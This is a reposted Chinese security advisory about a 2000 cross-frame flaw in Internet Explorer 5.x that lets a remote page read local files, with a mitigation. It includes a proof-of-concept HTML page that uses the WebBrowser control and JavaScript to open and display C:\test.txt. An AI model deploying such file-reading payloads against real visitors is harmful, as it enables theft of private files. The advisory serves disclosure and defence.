微软IE的浏览功能在跨帧存取时存在漏洞
发布日期：2000-09-06
更新日期：2000-09-06
受影响系统：
描述：
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
IE的浏览功能没有正确地检查初始域名的合法性，因此通过存取包含本地内容的某个帧中的浏览器对象，远程WEB服务器可能存取任何网站访问者或邮件接收者的机器上的本地文件。攻击者必须知道文件路径和文件名。
<* 来源：Georgi Guninski (joro@nat.bg) *>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.nat.bg/~joro/webctrl1.html
该页面的源代码如下：
<HTML>
Web Browser Conrol vulnerability.
<BR>
Written by Georgi Guninski.
<BR>
<object id=web2
classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"
>
</object>
<SCRIPT>
alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=window.open("file://c:/test.txt","A");
setTimeout('web2.Navigate("javascript:alert(document.body.innerText)","","A");',2000);
</SCRIPT>
<hr>
<p>
<a href="index.html">Go to Georgi Guninski's home page</a>
<br>
</HTML>
建议：
临时的解决办法是禁止活动的脚本解释执行。
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
